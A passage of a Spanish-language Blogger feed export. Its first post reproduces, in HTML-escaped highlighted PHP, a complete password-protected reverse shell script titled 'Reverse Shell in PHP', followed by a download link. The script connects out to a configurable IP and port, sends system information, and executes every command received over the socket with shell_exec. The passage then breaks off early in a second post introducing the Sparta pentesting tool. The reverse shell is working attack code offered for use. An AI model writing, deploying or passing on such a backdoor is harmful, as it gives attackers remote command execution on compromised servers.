&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#             lionaneesh@gmail.com                #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;###################################################&lt;/span&gt;

&lt;span style=&quot;color: #24909d;&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&#39;max_execution_time&#39;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;

&lt;span style=&quot;color: #40ffff;&quot;&gt;$VERSION&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$ip&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#Change this&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$port&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #3677a9;&quot;&gt;4444&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;      &lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#Change this&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$password&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;base64_decode&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;aGFja3N5c3RlYW0=&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#Default Password: hacksysteam (MD5)&lt;/span&gt;

&lt;span style=&quot;color: #40ffff;&quot;&gt;$banner&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt; _    _            _     _____            &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;| |  | |          | |   / ____|                            &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;| |__| | __ _  ___| | _| (___  _   _ ___&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;|  __  |/ _` |/ __| |/ /\___ \| | | / __|&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;| |  | | (_| | (__|   &amp;lt; ____) | |_| \__ \&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt; _______                        __/ |                                &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;|__   __|                      |___/  &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   | | ___  __ _ _ __ ___  &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   | |/ _ \/ _` | &#39;_ ` _ \&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   | |  __/ (_| | | | | | |&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   |_|\___|\__,_|_| |_| |_|&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   &lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;    Reverse Shell in PHP&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;    Author: Ashfaq Ansari&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;   hacksysteam@hotmail.com&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt; http://hacksys.vfreaks.com/\n\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;

&lt;span style=&quot;color: #40ffff;&quot;&gt;$pwd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;shell_exec&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;pwd&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$sysinfo&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;shell_exec&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;uname -a&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$id&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;shell_exec&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&#39;id | cut -d &quot;(&quot; -f 2 | cut -d &quot;)&quot; -f 1&#39;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$date&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;shell_exec&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$len&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #3677a9;&quot;&gt;1337&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #40ffff;&quot;&gt;$info&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt;
&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;System Information:\n$sysinfo&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;Current Working Directory: $pwd&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;User Group: $id&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;Current Date and Time: $date\n&lt;/span&gt;
&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;

&lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\nTrying to connect to: $ip on port $port ...\n\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;fsockopen&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$ip&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$port&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$errno&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$errstr&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;

&lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$errno&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;Fatal : An unexpected error was occured when trying to connect!\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;else&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;Connected to: $ip on port $port ...\n\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$banner&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;Enter Password: &quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #40ffff;&quot;&gt;$getpass&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;trim(&lt;/span&gt;&lt;span style=&quot;color: #24909d;&quot;&gt;fgets&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$password&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #3677a9;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;));&lt;/span&gt;

    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$getpass&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$password&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\nAuthentication Successfull..\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$info&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: #24909d;&quot;&gt;feof&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;))&lt;/span&gt;
      &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #40ffff;&quot;&gt;$cmdPrompt&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;trim(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$id&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;@&quot;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;trim(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$ip&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;:~&quot;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;trim(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$pwd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;# &quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$cmdPrompt&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #40ffff;&quot;&gt;$command&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;trim(&lt;/span&gt;&lt;span style=&quot;color: #24909d;&quot;&gt;fgets&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #40ffff;&quot;&gt;$len&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;));&lt;/span&gt;
        &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;(trim(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$command&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;exit&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\nAborted by user... Exiting...&quot;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\n&quot;&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #24909d;&quot;&gt;shell_exec&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$command&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;else&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fputs&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt; &lt;span style=&quot;color: #d0d0d0;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ed9d13;&quot;&gt;&quot;\nInvalid Password... Quitting...&quot;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #24909d;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40ffff;&quot;&gt;$sockfd&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: #6ab825; font-weight: bold;&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #3677a9;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #d0d0d0;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #cd2828; font-weight: bold;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://mega.co.nz/#!CtllHYwS!yfnpJio_fKpS0RK7Su4fOQKGzOa1aQgqwYbQm3A2IwY&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i508.photobucket.com/albums/s330/gastong87/Taringa/6hhst1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Agradecimiento a &lt;b&gt;@Ashfaq Ansari &lt;/b&gt;autor del Script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/4546167789594030180/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/php-shell-inversa-v10-autenticacion-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4546167789594030180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4546167789594030180'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/php-shell-inversa-v10-autenticacion-de.html' title='PHP Shell Inversa v1.0 - Autenticación de funciones.'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://i508.photobucket.com/albums/s330/gastong87/Taringa/th_6hhst1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-8475076661128734255</id><published>2015-03-04T16:46:00.003-05:00</published><updated>2015-03-04T16:46:32.407-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis"/><category scheme="http://www.blogger.com/atom/ns#" term="aplicaciones"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Sparta"/><title type='text'>Sparta Pentesting</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
&lt;img src=&quot;http://sparta.secforce.com/wp-content/uploads/2015/01/sparta-logo-banner.jpg&quot; height=&quot;108&quot; width=&quot;400&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
Una herramienta mas para el repertorio de &lt;b&gt;(Pentesting Tool&#39;s)&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;¿Que es Sparta?&lt;/b&gt;&lt;br /&gt;
Sparta es una herramienta para pruebas de penetración desarrollada en python. la herramienta fue desarrollada con el objetivo de simplificar las pruebas de pentesting en la fase de exploración y enumeración.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;270&quot; src=&quot;https://www.youtube.com/embed/FwBIIkXig-8&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La herramienta al igual que otras herramientas de este tipo funciona como un contenedor de otras herramientas las cual también están destinadas a la seguridad de los sistemas.&amp;nbsp;Básicamente integra &lt;b&gt;NMAP&lt;/b&gt;, &lt;b&gt;Hydra&lt;/b&gt;, &lt;b&gt;nikto &lt;/b&gt;y otras herramientas por debajo para hacernos el trabajo mucho mas simple.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h3&gt;
&lt;b&gt;Requerimientos de instalación&lt;/b&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
